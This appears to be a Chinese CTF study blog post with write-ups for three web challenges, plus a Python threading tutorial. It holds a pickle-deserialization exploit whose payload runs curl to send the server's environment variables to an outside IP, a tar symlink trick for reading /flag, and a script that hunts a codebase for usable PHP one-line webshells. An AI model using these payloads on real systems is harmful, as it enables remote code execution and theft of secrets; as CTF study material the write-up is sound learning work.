0%

5-7日常

[HZNUCTF 2023 preliminary]pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))# 对payload参数进行base64解码,并且将os置换为空
return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')

非预期

直接到/readFile路由输入?filename=/proc/self/environ即可

预期

由于过滤了os并且无回显,还不能反弹shell,可以考虑curl外带

对于os的绕过可以采用base64编码再解码的方式绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
import pickle
import base64

actual_payload = '''
import os
os.system('curl -X POST -d "flag=`env`" http://101.42.52.114:9999')
'''
encoded_payload = base64.b64encode(actual_payload.encode()).decode()#

class RCE:
def __reduce__(self):
cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));'
return exec, (cmd,)

a = RCE()
payload = base64.b64encode(pickle.dumps(a))

print(payload)

[NSSRound#6 Team]check(V1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from flask import Flask, request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if (os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'


@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'

filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if '..' in filename or '/' in filename:
return '?'

if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'

with open(filepath, 'r') as f:
return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)

要求文件必须为tar类型,并且过滤了..和/,os.path.join函数的漏洞肯定利用不了了

我们可以上传一个文件,该文件是一个指向/flag的软连接

1
2
ln -s /flag flag
tar -cvf flag.tar flag

然后

1
2
3
4
5
6
7
8
9
import requests

url = 'http://node3.anna.nssctf.cn:28221/'
session = requests.session()

session.post(url=url+"upload",files={'file':open(file='flag.tar',mode='rb')})
res = session.post(url=url+"download",data={'filename':"flag"})

print(res.text)

[强网杯 2019]高明的黑客

根据题目下载源码,40MB,几千个php文件,留下了许多一句话木马,但是有很多是利用不了的,所以我们需要编写脚本来判断哪些一句话木马是可用的

等会代码的编写涉及到多线程的知识,正好不是很熟悉,先来学习一下

python多线程

线程的概念

1
2
3
4
5
6
7
线程是CPU分配资源的基本单位。当一程序开始运行,这个程序就变成了一个进程,而一个进程相当于一个或者多个线程。当没有多线程编程时,一个进程相当于一个主线程;当有多线程编程时,一个进程包含多个线程(含主线程)。使用线程可以实现程序大的开发。

多个线程可以在同一个程序中运行,并且每一个线程完成不同的任务。

多线程实现后台服务程序可以同时处理多个任务,并不发生阻塞现象。

多线程的程序设计的特点就是能够提高程序执行效率和处理速度。python程序可以同时并行运行多个相对独立的线程。

创建多线程

python支持两种创建多线程的方式:

~通过 threading.Thread () 创建。

~通过继承 threading.Thread 类的继承。

1.通过 threading.Thread () 创建

语法形式:

1
thread.Thread(group=Nore,targt=None,args=(),kwargs={},*,daemon=None)

参数解释:

~group:必须为None,于ThreadGroup类相关,一般不使用。

~target:线程调用的对象,就是目标函数。

~name:为线程起这个名字。默认是Tread-x,x是序号,由1开始,第一个创建的线程名字就是Tread-1。

~args:为目标函数传递关键字参数,字典。

~daemon:用来设置线程是否随主线程退出而退出。

注意:两个程序会并发运行,所以结果不一定每次都是顺序的1~10,这是根据CPU给两个线程风马分配的时间片段来决定。可以看到每次结果都不同。

主线程

在python中,主线程是第一个启动的线程。

~父线程:如果启动线程A中启动了一个线程B,A就是B的父线程。

~子线程:B就是A的子线程。

创建线程时有一个damon属性,用它来判断主线程。当daemon设置False时,线程不会随主线程退出而退出,主线程会一直等着子线程执行完;。当daemon设置True时,线程会随主线程退出而退出,主线程结束其他的子线程会强制退出。

使用daemon注意:

~daemon属性必须在start( )之前设置,否则会引发RuntimeError异常

~每个线程都由daemon属性,可以显示设置也可以不设置,不设置则取默认值None

~如果子子线程不设置daemon属性,就取当前线程的daemon来设置它。子子线程继承子线程的daemon值,作用和设置None一样。

~从主线程创建的所有线程不设置daemon属性,则默认都是daemon=False。

解释:当主线程运行完毕输出完之后,等待一下后输出0~9。如果将daemon=False该为daemon=True,则不会运行for i in range(10)语句。

线程锁

在Python中,线程锁是用于保护共享资源免受并发访问的一种同步机制。当多个线程尝试同时访问共享资源时,线程锁可以确保只有一个线程可以访问该资源,从而避免数据竞争和其他并发问题。

Python标准库threading中提供了一个Lock类,用于创建线程锁对象。该类包括两个基本方法:

  • acquire():获取锁。如果锁当前未被其他线程持有,则该方法立即获取锁并返回True。否则,该方法将阻塞,直到其他线程释放锁并返回True。
  • release():释放锁。如果当前线程持有锁,则该方法将释放锁并返回True。否则,该方法将引发RuntimeError异常。

下面是一个使用线程锁的示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import threading

shared_resource = 0
lock = threading.Lock()

def increment():
global shared_resource
lock.acquire()
shared_resource += 1
lock.release()

for i in range(10):
t = threading.Thread(target=increment)
t.start()
t.join()

print(shared_resource)

在上述代码中,shared_resource是一个共享资源,多个线程将尝试增加其值。lock是一个Lock对象,用于保护shared_resource免受并发访问。increment()函数是一个线程函数,它首先获取锁,然后增加shared_resource的值,最后释放锁。

在主线程中,循环创建10个线程,并启动它们以调用increment()函数。由于increment()函数包含了线程锁,因此每个线程将依次获取锁、增加shared_resource的值、释放锁,从而确保shared_resource的值正确递增。


大概就是这些了,我自己编写脚本还是不可能的,所以借鉴这位师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os
import threading
import re
import time
import requests

print('开始时间:' + time.asctime( time.localtime(time.time()) ))# 这段代码只是为了看起来好看
s1 = threading.Semaphore(100) # 设置最大线程数
filePath = r"D:/phpstudy_pro/www/src"
os.chdir(filePath) # 改变当前工作目录为源代码的目录
requests.adapters.DEFAULT_RETRIES = 5 # requests.adapters.DEFAULT_RETRIES是Python第三方库requests中的一个常量,它表示在请求失败时,requests库将尝试重新发送请求的次数
files = os.listdir(filePath) # 得到该目录下的所有文件名称
session = requests.session()
session.keep_alive = False # 设置连接活跃状态为False,避免每个请求重用相同的TCP连接

def get_content(file):
s1.acquire() # 设置线程锁
print('trying ' + file + ' ' + time.asctime(time.localtime(time.time()))) # 更好看
with open(file,encoding='utf-8') as f:# 获取文件中$_GET参数和$_POST参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))

data = {}
params = {}
for m in gets:
params[m] = "echo 'xxxxxxx';" # 将所有参数值设置为echo 'xxxxxxx';
for n in posts:
data[n] = "echo 'xxxxxxx';"
url = 'http://127.0.0.1/src/' + file
req = session.post(url,data=data,params=params) # 请求所有的GET和POST
req.close() # 关闭请求,释放内存
req.encoding = 'utf-8'
content = req.text

if "xxxxxxx" in content:
flag = 0
for a in gets:
req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() # 关锁

for i in files:
t = threading.Thread(target=get_content,args=(i,))
t.start()

但是很奇怪,自己没跑出来

跑出来是xk0SzyKwfzw.php?Efa5BVG